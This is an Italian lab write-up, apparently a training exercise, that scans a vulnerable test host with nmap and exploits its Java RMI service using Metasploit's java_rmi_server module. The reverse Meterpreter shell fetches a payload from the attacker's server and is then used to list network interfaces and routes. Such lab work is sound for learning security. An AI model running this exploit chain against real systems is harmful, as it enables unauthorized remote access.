Progetto S7L5

La scansione con NMAP ha rivelato la presenza di un servizio vulnerabile sulla porta 1099, identificato come Java 'RMI.

```
139/tcp  open     netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open     netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
512/tcp  open     exec        netkit-rsh rexecd
513/tcp  open     login?
514/tcp  open     tcpwrapped
1099/tcp open     java-rmi    GNU Classpath grmiregistry
1524/tcp filtered ingreslock
2049/tcp open     nfs         2-4 (RPC #100003)
2121/tcp open     ftp         ProFTPD 1.3.1
3306/tcp open     mysql       MySQL 5.0.51a-3ubuntu5
| mysql-info:
|   Protocol: 10
|   Version: 5.0.51a-3ubuntu5
|   Thread ID: 8
|   Capabilities flags: 43564
|   Some Capabilities: SupportsCompression, SwitchToSSLAfterHandshake, Support41Auth,
 SupportsTransactions, Speaks41ProtocolNew, ConnectWithDatabase, LongColumnFlag
|   Status: Autocommit
|_  Salt: oJa-[`RZNUB,P3K`"'<:
```

Ho utilizzato un framework(metasploit),per sfruttare la vulnerabilità in questione,individuando un exploit 'multi/misc/java_rmi_server'.
exploit:*Un exploit è una debolezza o una falla in un programma o un sistema*

```
msf6 exploit(multi/misc/java_rmi_server) > exploit

[*] Started reverse TCP handler on 192.168.178.75:4444
[*] 192.168.178.63:1099 - Using URL: http://192.168.178.75:8080/KGM8OUnFBFOYycp
[*] 192.168.178.63:1099 - Server started.
[*] 192.168.178.63:1099 - Sending RMI Header ...
[*] 192.168.178.63:1099 - Sending RMI Call ...
[*] 192.168.178.63:1099 - Replied to request for payload JAR
[*] Sending stage (57692 bytes) to 192.168.178.63
[*] Meterpreter session 1 opened (192.168.178.75:4444 → 192.168.178.63:59608) at 202
4-01-26 11:18:00 +0100

meterpreter > ifconfig
```

Una volta identificato l'exploit,ho scelto un payload 'java/meterpreter/reverse_tcp'.Quest'ultimo, ci va a creare un shell meterpreter di tipo reverse.
Payload:è la parte dell'exploit che contiene le istruzioni specifiche che saranno eseguite una volta che l'exploit ha avuto successo nel sfruttare la vulnerabilità.
Shell: la shell può essere di due tipi: reverse shell,in questo caso la vittima crea una connessione con l'attaccante.
Bind shell,l'attaccante crea una connessione con la vittima.

```
Payload options (java/meterpreter/reverse_tcp):
```

Una volta scelto e settato il payload,creiamo la sessione con il dispositivo target,andando a scoprire con l'uso della shell la sua configurazione di rete e la sua tabella di routing.

```
meterpreter > ifconfig

Interface  1
============
Name         : lo - lo
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ::


Interface  2
============
Name         : eth0 - eth0
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 192.168.178.63
IPv4 Netmask : 255.255.255.0
IPv6 Address : fd00::a00:27ff:feb6:2daa
IPv6 Netmask : ::
IPv6 Address : fe80::a00:27ff:feb6:2daa
IPv6 Netmask : ::
```

Tabella di routing:
Una tabella di routing è uno strumento utilizzato in alcuni dispositivi di rete per determinare il percorso dei dati per raggiungere la loro destinazione

```
meterpreter > route

IPv4 network routes
===================

    Subnet           Netmask        Gateway  Metric  Interface
    ------           -------        -------  ------  ---------
    127.0.0.1        255.0.0.0      0.0.0.0
    192.168.178.63   255.255.255.0  0.0.0.0


IPv6 network routes
===================

    Subnet                    Netmask  Gateway  Metric  Interface
    ------                    -------  -------  ------  ---------
    ::1                       ::       ::
    fd00::a00:27ff:feb6:2daa  ::       ::
    fe80::a00:27ff:feb6:2daa  ::       ::
```